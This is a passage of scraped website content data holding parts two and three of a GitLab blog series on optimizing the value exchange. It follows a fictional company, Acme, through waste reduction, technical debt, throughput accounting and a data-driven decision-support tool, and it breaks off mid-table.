[Unsplash](https://unsplash.com/photos/boxam4k4rQw)\n",[1899,10921,1444],{"slug":25738,"featured":6,"template":678},"optimizing-the-value-exchange-a-gentle-introduction","content:en-us:blog:optimizing-the-value-exchange-a-gentle-introduction.yml","Optimizing The Value Exchange A Gentle Introduction","en-us/blog/optimizing-the-value-exchange-a-gentle-introduction.yml","en-us/blog/optimizing-the-value-exchange-a-gentle-introduction",{"_path":25744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25745,"content":25751,"config":25755,"_id":25757,"_type":16,"title":25758,"_source":17,"_file":25759,"_stem":25760,"_extension":20},"/en-us/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow",{"title":25746,"description":25747,"ogTitle":25746,"ogDescription":25747,"noIndex":6,"ogImage":25748,"ogUrl":25749,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25749,"schema":25750},"Optimizing The Value Exchange: Reduce Waste To Increase Flow","Part two of a pragmatic, business-driven guide to help teams transition from fixating on output to optimizing the value exchange with their customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672713/Blog/Hero%20Images/post-2-cover.jpg","https://about.gitlab.com/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Optimizing The Value Exchange: Reduce Waste To Increase Flow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabe Weaver\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25746,"description":25747,"authors":25752,"heroImage":25748,"date":25699,"body":25753,"category":18484,"tags":25754},[4941],"If you're new to the series, checkout Part 1: [A Gentle(ish) Introduction](/blog/optimizing-the-value-exchange-a-gentle-introduction/\n)\n\n_Reading time: 13 minutes, 32 seconds_\n\n## Learning To Identify Waste\n\n> “Systems behavior is particularly sensitive to the goals of feedback loops. If the goals-the indicators of satisfaction of the rules - are defined inaccurately or incompletely, the system may obediently work to produce a result that is not really intended or wanted.” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nSince following the Improvement Kata has gotten the group this far, they decide to use another concept from the Toyota Production System (TPS) -- waste reduction. To increase flow through the value delivery system, they start by looking at steps in the workflow that do not add any intrinsic value. TPS categorizes waste into 8 distinct types:\n\n- **Talent:** Underutilizing people's talents, skills, and knowledge.\n- **Inventory:** Excess products and materials not being processed.\n- **Motion:** Unnecessary movements by people.\n- **Waiting:** Wasted time waiting for the next step in a process. \n- **Transportation:** Unnecessary movements of products and materials.\n- **Defects:** Efforts caused by rework, scrap, and incorrect information.\n- **Overproduction:** Production that is more than needed or before it is needed.\n- **Overprocessing:** More work or higher quality than is required by the customer. \n\nWith this in mind, the working group pulls up their value stream map and immediately identifies a common theme across stages in the flow - some stages have a high amount of time spent waiting. The group quickly adds this up to understand the impact.\n\n![Acme's Value Stream Map - Time waiting](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d2.png){: .center}\n\nIn total, work items spend ~85 days waiting between queues or waiting for additional work needed from other parts of the R&D team. The group is speechless as they realize that it only takes around 3 days of actual labor to move a work item through the value delivery stream. They decide this is the right place to start and prioritize their efforts based on which cycles have the highest amount of time in waiting:\n\n1. **Build** - 863 hours in a queue, 613 hours once a work item has started.\n2. **Plan** - 362 hours once a work item has started.\n3. **Review** - 27 hours in a queue, 95 hours once a work item has started.\n4. **Canary** - 73 hours in a queue.\n5. **Prod** - 22 hours in a queue.\n6. **Staging** - 1 hour in a queue.\n\nThe group is excited about their discovery and is eager to share it with the engineering team. When they sit down and show them the numbers, the engineers are surprised. The conversation continues with the engineers talking through what it looks like for a single engineer in a typical week. The working group captures it in a diagram and confirms with the engineers that it is representative of the conversation.\n\n![Sequence Diagram](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/sequence-diagram.png){: .center}\n\nThe group asks the engineers how they feel about this workflow. They're generally supportive as they don't see an alternative to this despite it being extremely heavy on the context switching. The working group still needs to figure out how to reduce the waiting time for work items in this stage and eliminated unneccessary waiting is a logical place to start. They present their target condition and ask the engineers for suggestions. The engineers feel strongly that the code review process is imperative to maintain code quality. One engineer suggests the team could try pair programming. He heard that it can increase code quality. It would also remove the Review stage entirely as two people contribute to the same work item until it is fully completed.\n\nThey debated back and forth. Many felt that it would slow everything down even more because they would only be able to do half the work they had been doing up to that point. The engineer who brought it up in the first place pointed to an a [experiment](https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20030012934.pdf) where NASA engineers completed two like-size projects - one as they normally would and one strictly following [Extreme Programming](http://www.extremeprogramming.org/); which includes a mix of practices like pair programming, collective code ownership, TDD, and small iterations. He presented the team with the following data:\n\n| | Non-XP Projet | XP Project |\n| --- | --- | --- |\n| LOC/Hour | 24 | 27 |\n| Util/test LOC | 0 | 1,135 |\n| Prod LOC | 2,144 | 912 |\n| Total LOC | 2,144 | 2,545 |\n\nHe explained that part of the reason why the team was able to produce less production code at a faster overall rate was due to the pair pushing each other not to cut corners by focusing on quality; ruthlessly refactoring code as they went. He also discussed the concept of the driver and navigator roles, and how that led to better architecture decisions the first time around. The engineers were skeptical but were willing to give it a try. Together, everyone agreed that the engineers would run an experiment to try pair programming for the upcoming quarter. They also agreed to only work on one item from start to merged before picking up the next item.\n\n## Increased flow does not equal increased value\n\nAt the end of the quarter, the working group got together to review an updated value stream map. \n\n![Acme's Value Stream Map - Updated](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d3.png){: .center}\n\nThe work in progress limits and pair programming dramatically improved flow through the value stream. Lead time dropped to 893 hours or 37 days. A 57% reduction was much better than the working group had anticipated. The books for the quarter weren't closed, but the working group knew it was going to be a huge win. They eagerly shared the results with the executive team.\n\nAs the quarterly financials were released, the group got a call from the CFO. He was disappointed. He had expected to not only achieve the 5% incremental revenue growth but do much better given the results of the experiment. The working group was stunned. Revenue growth only increased from 5% to 9%. Despite missing the mark, the executives agreed to continue sponsoring the working group as it did produce tangible results and business outcomes. \n\n**Financials**\n\n| | Previous | Current | \n| --- | --- | --- |\n| Revenue | 50.9 | 55.4 |\n| COGS | 4.6 | 5.0 |\n| **Net Sales** | **46.3** | **50.1** |\n| *Margin* | *91%* | *91%* |\n|  |  |  |\n| R&D | 22.7 | 23.1 | \n| Marketing | 7.4 | 8 |\n| Sales | 21.2 | 22.9 |\n| G&A | 2.9 | 3.8 |\n| **Total OpEx** | **54.2** | **57.8** |\n| |  |  |\n| **Net Profit** | **-7.9** | **-7.3** |\n| *Profit Margin* | *-16%* | *-13%* |\n\n\u003Cbr>\n**Value Delivery Economics**\n\n| | Previous | Current |\n| --- | --- | --- | \n| Items Delivered | 3,131 | 5,002 |\n| Lead Time | 88 | 37 |\n| Cost Per Item Delivered | 7,250 | 4,617 |\n\nThey combed through the financials and productivity metrics to figure out what had happened. The value delivery system had become much more efficient. The cost per item delivered decreased. What went wrong? They circled back to where they started with the sales team to ask for an update. The sales team reported that they still felt like speed on delivering customer requests was moving slowly. It had gotten a little bit better in a few areas, but overall it was having a nominal impact on fixing the problem of declining up-sell rates. Determined to get to the bottom of things, the working group decides to dig a bit deeper into the kind of work flowing through the R&D value stream. \n\nThis is what they discovered upon further investigation into the breakdown on types of work items R&D was delivering:\n\n| | Q2 | Q3 | Q4 | Q1 |\n| --- | --- | --- | --- |\n| Feature | 63% | 46% | 38% | 44% |\n| Defect | 13% | 22% | 29% | 36% |\n| Technical Debt | 24% | 32% | 33% | 20% |\n\nA light bulb clicked. No wonder the sales team felt like things were moving slowly. The amount of new value being delivered to customers was near an all-time low. It was certainly better than the previous quarter thanks to the improvement in lead time, but this trend was concerning to the group. \n\nAs they followed the same path from the first time around, they connected with the R&D team to ask questions. After presenting the work item breakdown by type, R&D was not surprised at all. They look at this ratio quite often. When the group asked them why they hadn't surfaced this earlier, they explained that the pace of constant feature prioritization over the last several years gave the team little extra time to refactor parts of the codebase that were critical to the value delivery system. \n\nIn continuing to listen intently, the team conveyed that they had brought this up on several occasions. Upper management insisted that the team focus on creating new value to fuel the growth targets set by the company leaders. The team also explained that because the company has SLAs with customers, they have had to prioritize severe defects over new features; leaving little time for anything else. \n\nA product manager stepped forward and openly confessed that he regularly makes pacts with his engineering manager to repay technical debt in short order if they would do whatever it took to get the feature shipped. He said they rarely followed through to go back and clean up technical debt. Everyone in the meeting confirmed that this was an acceptable practice. The working group started to see the long term consequences that are so easily masked by strong financial growth. As the R&D team cut corners to ship features, technical debt mounted. Unable to take the time to address it, defect count had started increasing at a consistent rate. The R&D team now had to split focus across three different areas - trying to keep the lights on, delivering new value, and trying to find time to repay the technical debt. \n\n![Technical Debt Diagram](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/tech-debt.jpg){: .center}\n\nDespite this revelation, the working group was still responsible for delivering on their target condition. Now it was on them to convince leadership to take technical debt seriously. As they mulled over ways to present this, they asked for a report of all the inventory that was waiting to be produced. For this to resonate with the executives, they needed to communicate it in a way that provided justifiable business reasons to throttle back on feature development. They calculated the cost per quarter that the company was spending on work that did not add intrinsic customer value or positively reinforce the Value Exchange System.\n\n| | Type | Quarterly Cost |\n| --- | --- | --- |\n| Features | 38% | 8.8 | \n| Defects | 22% | 5.1 | \n| Tech Debt | 40% | 9.2 | \n\nThe company was investing $14.3 million in activities that did not have any tangible impact on driving revenue growth. This was something the leadership team could not ignore. As they presented their case, the executives were concerned that slowing down on feature development in any way would adversely impact revenue growth. The working group talked around this by helping them understand that slowing down for a little bit right now would enable them to accelerate much faster as they would be able to more than double their investment in value-adding features once defects and technical debt were in check. The leadership agreed to the working group's proposal. \n\nOver the next few quarters, R&D invested heavily in paying down technical debt and reducing defects. They also made optimizations to the value stream and were able to replace both the staging and canary environments by deploying directly to production behind feature flags. Product managers were able to test things out in production and as soon as a feature was ready for release, they clicked a button and it would become incrementally available to everyone. New defects were at an all-time low and the team was confident all of the efforts would produce huge dividends. \n\nThe working group double-checked the value stream in anticipation of reviewing the quarterly financials that contained the first full quarter where the team spent 80% of their time on value-adding features. \n\n![Acme's Value Stream Map - 80% features%](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d4.png){: .center}\n\n**Value Delivery Economics**\n\n| | W/ Tech Debt | 80% Features |\n| --- | --- | --- | \n| Items Delivered | 5,002 | 11,467 |\n| Lead Time | 37 | 11.9 |\n| Cost Per Item Delivered | 4,617 | 2,014 |\n\nThey were pleased with their value stream. It was fine-tuned, waste-free, and incredibly efficient.  Leads times were hovering around 286 hours (11.9 days). The company had continued to invest in scaling the R&D team and they were able to churn out an astonishing 11,467 work items. But then came the financials. \n\n| | W/ Tech Debt | Paying It Down | 80% Features | \n| --- | --- | --- | --- |\n| Revenue | 55.4 | 57.7 | 68.04 |\n| COGS | 5.0 | 5.2 | 6.1 |\n| **Net Sales** | **50.5** | **52.5** | **61.9** |\n| *Margin* | *91%* | *91%* | *91%* |\n|  |  |  | |\n| R&D | 23.1 | 25.3 | 27.2 | \n| Marketing | 8 | 8.9 | 9.6 |\n| Sales | 22.9 | 24 | 25.6 |\n| G&A | 3.8 | 5.1 | 6.4 |\n| **Total OpEx** | **57.8** | **63.3** | **68.8** |\n| |  |  | |\n| **Net Profit** | **-7.3** | **-10.8** | **-6.9** |\n| *Profit Margin* | *-13%* | *-19%* | *-10%* |\n\nThey only improved revenue growth rates by 9 points, from 9% to 18%. The working group was surprised the CFO hadn't called. When they checked their calendars, a week-long onsite meeting had been scheduled with heads from every division at the company. It wasn't all too surprising. They continued to fail to meet the mark, but could not figure out why. The cost per work item had been reduced by 72%. Investment in value-adding work items was at an unprecedented all-time high. The value delivery stream was a well-oiled machine, but growth rates weren't responding.\n\nAs the working group prepared to meet their fate, they decided to conduct a retrospective to try to gain an understanding of where they went wrong. During the conversation, one of the group members reminded the team of the earlier conversation with R&D discussing success metrics; where R&D recounted that Acme had never really figured out how to more formally tie business outcomes to the output they were creating. The group didn't know the answer, but they agreed to spend some time before the on-site to explore the topic.\n\nThe group talked to peers at other companies and read as many books as they could get their hands on. One of them was [The Goal](https://www.amazon.com/Goal-Process-Ongoing-Improvement/dp/0884271951/ref=asc_df_0884271951/?tag=hyprod-20&linkCode=df0&hvadid=312175933381&hvpos=1o1&hvnetw=g&hvrand=10925659369993672127&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9031326&hvtargid=pla-434522630098&psc=1&tag=&ref=&adgrpid=60258871817&hvpone=&hvptwo=&hvadid=312175933381&hvpos=1o1&hvnetw=g&hvrand=10925659369993672127&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9031326&hvtargid=pla-434522630098) by Eliyahu Goldratt, a story much similar to the journey that the working group had been on. As the group discussed the book, they finally realized the fatal flaw they had made -- they had spent all of their time fixated on trying to achieve the local maximum of R&D instead of aligning the feedback loops between the value delivery system and the value capture system. \n\nThe most effective way to do this is by focusing on the efficiency of the Value Exchange System as a whole. As the group learned, this can be accomplished by measuring the Value Exchange System's throughput. It's important to note that this kind of throughput should not be confused with the definition in Kanban (work output), but rather the rate at which a system generates revenue through sales. The group had achieved a new level of alignment...almost. To start measuring this, they first needed to learn more about throughput accounting. \n\n## Throughput Accounting 101\n\n> “The most marvelous characteristic of some complex systems is their ability to learn, diversify, complexify, and evolve…Like resilience, self-organization is often sacrificed for purposes of short-term productivity and stability. Productivity and stability are the usual excuses for turning creative human beings into mechanical adjuncts to production processes.” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nIn stark contrast to cost-based accounting, [throughput accounting](https://en.wikipedia.org/wiki/Throughput_accounting) prioritizes value creation over cost-cutting. It consists of [three primary metrics](https://www.amazon.com/Scaling-Lean-Mastering-Metrics-Startup/dp/1101980524):\n\n- **Throughput** is the rate at which monetizable value is generated from a company's customers over their lifetime minus any variable costs such as the cost of customer acquisition. \n- **Inventory** represents all of the money a company has invested into the Value Exchange System including current product capabilities, unfinished goods (requirements, features, job stories, etc.), equipment, and infrastructure. \n- **Operating Expenses** are the costs expended turning inventory into throughput. This includes research and development, sales, and general expenses. \n\nThese metrics are then built up to determine the financial health of a given Value Exchange System:\n\n- **Throughput (T)** = Lifetime Value (LTV) - Cost of Customer Acquisition (COCA)\n- **Profit (P)** = Total Throughput (T) - Operating Expenses (OE)\n- **Return On Investment (ROI)** = Profit (P) / Inventory (I)\n\nHere is where the differences between cost-based accounting and throughput accounting start to manifest. As Ash Maurya, points out in Scaling Lean:\n\n> Cost-based accounting places more emphasis on the right-hand side of the profit equation — decrease operating expenses. It focuses on scalable efficiency and squeezing out costs — especially labor costs. This typically manifests itself as policies requiring detailed weekly timesheets broken down by task, as well as downsizing, outsourcing, and other cost-reducing measures.\n\n> It is much more powerful to try to affect the left-hand side of the profit equation — increase throughput — because cost-cutting has a theoretical limit of zero. Increasing throughput has no theoretical upper limit. You can find ways to add more value to an existing product, build more add-on products, or expand the market — provided, of course, that these efforts lead to a positive return on investment.\n\nWhat's also important about looking at the Value Exchange System through the lens of throughput accounting is that it provides the preferred order for where to focus optimization efforts:\n\n1. Throughput\n1. Decreasing inventory\n1. Reducing operating expenses\n\n## The Universal Goal\n\nAs Eliyahu Goldratt, creator of throughput accounting and author of [The Goal](https://en.wikipedia.org/wiki/The_Goal_(novel)), frames it:\n\n> The universal goal of every business is to increase throughput while minimizing inventory and operating expenses provided doing that doesn't degrade throughput\n\nThe working group was starting to think differently. Throughput accounting provides a simple, but powerful decision support framework. Every target condition should map to one of three desired outcomes in the Value Exchange System - increase throughput (T), reduce investment (I), or reduce operating expenses (OE). It's also important to point out that throughput accounting does not use the balance sheet to [stash deferred expenses](https://www.scienceofbusiness.com/throughput-accounting/) to be realized later. This is a practice that many companies use to manipulate the income statement depending on the kind of story they want to tell. This ultimately masks the true health of the Value Exchange System. \n\nWhile excited about what they are learning, the working group was still a bit stumped about how to implement it within Acme in a way that would help drive improved revenue growth and profitability. They weren't able to formalize a proposal in time for the onsite, but they were now equipped with some better data points around why they had failed and planned to share the news with the executive group.\n\nContinue reading:\n\n- Part 1: [A Gentle(ish) Introduction](/blog/optimizing-the-value-exchange-a-gentle-introduction/\n)\n- Part 2 : Reduce Waste To Increase Flow\n- Part 3 (Next): [The Compounding Value Of Shorter Feedback Loops](/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops/)\n\n***Giving credit where it is due:** Throughput Accounting and the Theory Of Constraints was originally pioneered by Eliyahu Goldratt. Introduced in his book, [The Goal](https://en.wikipedia.org/wiki/The_Goal_(novel)), these concepts have revolutionized the way businesses operate.*",[1899,10921,1444],{"slug":25756,"featured":6,"template":678},"optimizing-the-value-exchange-reduce-waste-to-increase-flow","content:en-us:blog:optimizing-the-value-exchange-reduce-waste-to-increase-flow.yml","Optimizing The Value Exchange Reduce Waste To Increase Flow","en-us/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow.yml","en-us/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow",{"_path":25762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25763,"content":25769,"config":25774,"_id":25776,"_type":16,"title":25777,"_source":17,"_file":25778,"_stem":25779,"_extension":20},"/en-us/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops",{"title":25764,"description":25765,"ogTitle":25764,"ogDescription":25765,"noIndex":6,"ogImage":25766,"ogUrl":25767,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25767,"schema":25768},"Shorter feedback loops compound value in development","Part three of a pragmatic, business-driven guide to help teams transition from fixating on output to optimizing the value exchange with their customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672726/Blog/Hero%20Images/post-3-cover.jpg","https://about.gitlab.com/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Optimizing The Value Exchange: The Compounding Value Of Shorter Feedback Loops\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabe Weaver\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25770,"description":25765,"authors":25771,"heroImage":25766,"date":25699,"body":25772,"category":18484,"tags":25773},"Optimizing The Value Exchange: The Compounding Value Of Shorter Feedback Loops",[4941],"If you're new to the series, checkout Part 1: [A Gentle(ish) Introduction](/blog/optimizing-the-value-exchange-a-gentle-introduction/\n)\n\n*Reading time: 12 minutes, 8 seconds*\n\n## The Problem Of The Tree Swing\n\n> “The most powerful ways to influence the behavior of a system is through its purpose or goal. That’s because the goal is the direction-setter of the system, the definer of discrepancies that require action, the indicator of compliance, failure, or success toward which balancing feedback loops work.” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nThe working group sat down with the leadership and department heads; things were tense. The CEO announced some major news -- the board planned to start cutting R&D budget in an attempt to drive profitability. A hiring freeze would be put into effect if profitability wasn't achieved within the next fiscal year. The board would also be considering a massive round of layoffs as an extreme measure. Everyone in the room understood the stark reality of the situation. There was a fundamental problem in how the company was operating.  \n\nAs discussions progressed, the team reviewed the dozens of major initiatives that had shipped over the last several quarters. As they went through these one-by-one, it was not immediately clear how they impacted business outcomes. Sales said that they were all the things customers requested. Product said they talked to the customers and had a validation process for work items during the planning stage. Someone from the working group asked a focusing question -- how does Acme understand how a product capability is used once it has been delivered to a customer? The roadmap was supposedly organized by needs that customers had expressed, but nothing was linking them to quantifiable changes in customer behavior that would result in specific business outcomes.\n\nProduct said they measured certain kinds of activities, but it didn't help them get a clear sense of whether something was working or not. Sales said that account managers regularly checked in with customers and kept track of the feedback. Customer support mentioned they share tickets with product from time-to-time. To grasp where the root issues were in the product, the team decided to call customers that requested features but hadn't fully adopted them. After dozens of interviews and ethnographic observations, everyone started to see a common pattern emerge.\n\n![Insert Tree Diagram](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/tree-swing.jpeg){: .center}\n\nAcme wasn't building what customers needed. How had this happened? Each team interpreted things differently; each with a slight bias based on their functional area. They were never fully aligned. Even worse, they didn't understand what their customers needed to move their own businesses forward. They just built what they thought customers wanted. This is the essence of the tree swing problem. \n\nThe working group shared their revelation about optimizing for the wrong thing within R&D and suggested reviewing how success was being measured across the company. Each department pulled up their objectives and key results. Nearly all of them were aimed at each department seeking local maximum. Sales had their quotas to meet. R&D had specific output targets. Customer support was focused on triaging and closing tickets as quickly as possible. The company had grown rapidly, but that just amplified the underlying problems. The signal had been completely lost in the noise.\n\nAs the systemic problems became clear, the working group presented the concept of throughput accounting and how it could help align the organization around a single measure of success. The other team members were skeptical. Nothing else was working and the worst-case scenario was already upon them. Acme finally agreed to give it a try. They spent the next several days discussing what the transition would look like and the mechanics of how it could be measured. They also tackled ways to create tighter alignment across functional areas of the company. Together, they came up with a list of core things they would implement - all to shift the focus from measuring output to measuring outcomes.\n\n## Adopt throughput accounting over cost-based accounting\n\nThe first thing they tackled was converting their traditional cost-based accounting model to the throughput accounting model. They still maintained the traditional models for public reporting, but internally, they would make decisions based upon ROI as defined in throughput accounting.\n\nAcme's original cost-based approach for the previous quarter:\n\n| Income Statement | Previous Period |\n| --- | --- |\n| Revenue | 68.0 |\n| COGS | 6.1 |\n| **Net Sales** | **61.9** |\n| _Margin_ | _91%_ |\n|  |  |\n| R&D | 27.2 |\n| Marketing | 9.6 | \n| Sales | 25.6 | \n| G&A | 6.4 |\n| **Total OpEx** | **68.8** |\n| |  |\n| **Net Profit** | **-6.9** |\n| _Profit Margin_ | _-10%_ |\n\nAcme's original balance sheet for the previous quarter (simplified of course):\n\n| Balance Statement | Previous Period |\n| --- | --- |\n| Cash | 201.2 |\n| Accounts Receivable | 3.1 |\n| Goodwill (Product/Intangibles Last 2 Qs) | 52.4 (25.2 + 27.2) |\n| | |\n| **Total Assets** | **284.7** |\n|  |  |\n| Current Liabilities | 16.9 |\n| Long Term Liabilities | 21.5 | \n| **Total Liabilities** | **38.4** | \n|  | |\n| Retained Earnings | -6.9 |\n| Shareholder's Equity | 253.2 |\n| |  |\n| **Total Liabilities & Equity** | **284.7** |\n\nThe working group explained how this approach artificially rewarded the company by converting expenses in R&D to an intangible goodwill asset. There is no feedback on how that asset generates and captures value -- throughput. It also came to light that the financial team was deferring certain R&D expenses as a way to bolster performance on the income statement in the short term. They had planned to realize the expenses when Acme hit the inflection point as a tax mitigation strategy, but that never happened. \n\nOnce they were finished converting their financials to throughput accounting, they were overwhelmed by the reality of their situation.\n\n| TA | Previous Period |\n| --- | --- |\n| Revenue | 68.0 |\n| Total Variable Costs (COCA) | 13.6 |\n| **Throughput** | **54.4** |\n| _Efficiency_ | _80%_ |\n|  |  |\n| R&D | 34.2 |\n| Marketing | 2.1 | \n| Sales | 25.6 | \n| G&A | 6.4 |\n| **Total OpEx** | **68.3** |\n| | |\n| **Profit** | **-13.8** |\n| | |\n| Inventory: Goodwill (previous quarter R&D) | 25.2 |\n| Inventory: 6 Months of Requirements | 120,868 |\n| **Total Inventory** | **120,893.2** |\n| | |\n| **Return On Investment** |  **-.01%** = (-13.8/120,893.2) |\n\nSince thoughput accounting (TA) defines inventory as completed and uncompleted assets within the Value Exchange System, Acme's ROI was tanked by all of the work waiting to be completed. The powerful thing that this helped Acme understand was that creating more inventory drains the overall return on investment. It also learned that by treating some of the variable costs related to COCA as an operating expense, they missed critical opportunities for increasing the efficiency of marketing operations.\n\nLooking at the financials through this perspective, Acme struggled to determine where to focus their efforts. The ongoing conversation about this exposed another critical flaw in how Acme had been approaching the Value Exchange System. Due to the speed at which they had scaled, 60,000+ work items piled up in their backlog. They struggled to understand their potential impact and effectively map them to customer and business outcomes. A product manager shared how they used they had successfully used the RICE model when they were smaller, but it had become highly inaccurate at scale given the quality of the input data and variability across product teams. She continued to explain that often, the loudest voice in the room would ultimately influence when things were worked on. In listening to her describe the flow of information between sales, customer support, and R&D, it was clear that everyone was working hard, but with such a high volume of communications, it was nearly impossible to take into account all the variables across the disparate contexts when prioritizing the roadmap.\n\nA data scientist overheard the group talking about their challenges and interjected with a suggestion -- Acme was already using machine learning and advanced statistics in their products. Why not use the same approach to optimizing their own Value Exchange System?\n\n## The first iteration towards intelligent decision support\n\nThe data scientist explained that by using pre-existing data from sources across their toolchain, it was possible to build a decision support framework using [natural language processing (NLP)](https://medium.com/analytics-vidhya/automated-keyword-extraction-from-articles-using-nlp-bfd864f41b34) to extract topics and sentiment from text-based data across all of the core tools that Acme used to sell, deliver, and support their products. Teams would not have to adopt new tools or processes, and there would be no disruption to existing business functions. Everyone put their heads together and came up with the scope for the first MVC of their intelligent decision support framework.\n\n![Decision Support Framework - Iteration 1](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d5.png){: .center}\n\nOnce they achieved this level of visibility, they used the topics to create alignment across teams. Additionally, instead of continuing forward using traditional project-based Gannt charts for communicating progress on timelines and deliverables, they adopted an Opportunity Tree map that better reflected the relationship between business outcomes and solving customer needs. Based on the number of customers and the sentiment of a given topic, Acme prioritized where to focus their efforts to yield the biggest impact. Looking through all of a topic's related texts across their various communication channels within a single interface, they were able to more efficiently and effectively synthesize opportunities and connected them to outcomes.   \n\n![Acme's Opportunity Tree](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d6.png){: .center}\n\nTo ensure they were building what the customers needed and that the solutions captured the opportunity, they started using a [continuous innovation](https://leanstack.com/library/categories/fundamentals/courses/what_is_continuous_innovation/lessons/fundamental_shift) framework to systemically validate their assumptions and solutions through [lean sprints](https://blog.leanstack.com/the-lean-sprint-bc3f9f8caafd). This did not require the introduction of a new tool, but rather a change in mindset and process among the teams.\n\n![The Lean Srint Diagram from Scaling Lean by Ash Maurya](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/lean-sprints.png){: .center} \n\nEach sprint established a target condition, hypothesis, experiment, and measurable outcome to validate or invalidate the hypothesis. This new mental model and approach to lean product development helped Acme reduce risk and establish a repeatable cadence that accomplished the following:\n\n1. **Goal** — Break a big vision into smaller time-boxed goals.\n2. **Orient** — Align the team around problems versus solutions.\n3. **Leverage** — Source/rank a wide diversity of possible solutions or strategies for achieving the goal.\n4. **Experiment** — Test these strategies additively using experiments.\n5. **Analyze** — Reevaluate learning against the goal.\n6. **Next Action** — Decide what’s next. \n\n![The Lean Cycle Diagram from Scaling Lean by Ash Maurya](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/lean-cycles.png){: .center} \n\nIt wasn't just product teams that adopted this process -- marketing, sales, and customer support all learned how to leverage this process to drive throughput. Before any initiative was funded, the team had to justify the effort by stating a quantifiable hypothesis that explained how it would increase throughput (T), decrease inventory (I), or reduce operating expenses (OE). By being disciplined, lean, manually improving processes, and having a rudimentary decision support framework powered by their existing data, they started to see enormous gains in their throughput. Acme was just starting to scratch the surface of the possibilities for optimizing their Value Exchange System. \n\n## The Importance Of A Timely Decision Support Framework\n\n> “You can make a system work better with surprising ease if you can give it more timely, more accurate, more complete information” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nAcme continued to invest in enhancing their intelligent decision support tool. Their ultimate goal was to model a new value stream that incorporated both the value delivery system and the value capture system. In their next iteration, they added new dimensions and types of features that were extracted from their various operational systems. They also connected their behavior analytics collection service to more effectively map how customer behavior drove specific outcomes and experiments. \n\n![Decision Support Tool - Iteration 2](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d7.png){: .center}\n\nBy pulling in financial data from their CRM, they derived the potential value for every single opportunity and how each mapped to the key business drivers in the Value Exchange System -- acquisition, activation, adoption, up-sell, and retention. Additionally, they automatically calculated the RICE score across all work items in a consistent manner. As a result, they removed over 99% of their inventory that did not map to valuable opportunities and adopted a \"just in time\" approach for requirements definition, drastically reducing inventory and improving ROI.\n\nAcme went a step further and augmented its Opportunity Tree used for strategic planning with a dynamic value stream map to report on the health of the Value Exchange System. Since the software code and features were integrated into the decision support framework, they consolidated all of their analytics, logging, tracing, and reporting tools that required complex queries to surface meaningful insights with a simple visual diagram of the critical paths customers took through their product. This effectively tied the Opportunity Tree to their actual product in a way that was easy for anyone at Acme to understand. It also surfaced low hanging fruit that enabled Acme to increase the value capture rate of the assets they already had.\n\n![Acme's New Value Stream Map](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d8.png){: .center}\n\nTo put their journey succinctly -- Acme transitioned from sensing and responding to predicting and acting. They did not become sales-led, engineering-centric, or product-first. They became throughput driven. They still have a long way to go before becoming ROI positive due to the inefficiencies of the past, but the progress thus far indicates an upward trajectory. Because of their successful transition to profitability, the board pushed Acme to continue scaling R&D and operating expenses. The CEO politely declined; showing the board their intelligent decision support tool that highlighted hundreds of millions of dollars in potential revenue just by improving what was already there. He explained that more people won't solve the problem or help them go faster. Better decisions will. \n\n![Insert Sense and Respond](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/predictive-analytics.png){: .center} \n\nThe biggest challenge they face moving forward is staying disciplined and not falling into old habits -- something most companies are notorious for doing. It's one of the primary reasons why there are very few truly great companies out there today. Luckily, the investment in making better decisions through shorter, more effective feedback loops will let them know the day that starts happening. \n\n\u003Cbr>\n**Acme's Final Set of Reported Financials**\n\u003Cbr>\n\n| TA | Without Decision Support | Starting The Journey | Fully Integrated |\n| --- | --- | --- | --- |\n| Revenue | 68.0 | 88.4 | 138.8 |\n| Total Variable Costs (COCA) | 13.6 | 11.2 | 7.6 |\n| **Throughput** | **54.4** | **77.2** | **131.2** |\n| _Efficiency_ | _80%_ | _87%_ | _95%_ |\n|  |  | | |\n| R&D | 34.2 | 37.1 | 40.5 |\n| Marketing | 2.1 | 3.2 | 4.5 | \n| Sales | 25.6 | 28.6 | 31.9 |\n| G&A | 6.4 | 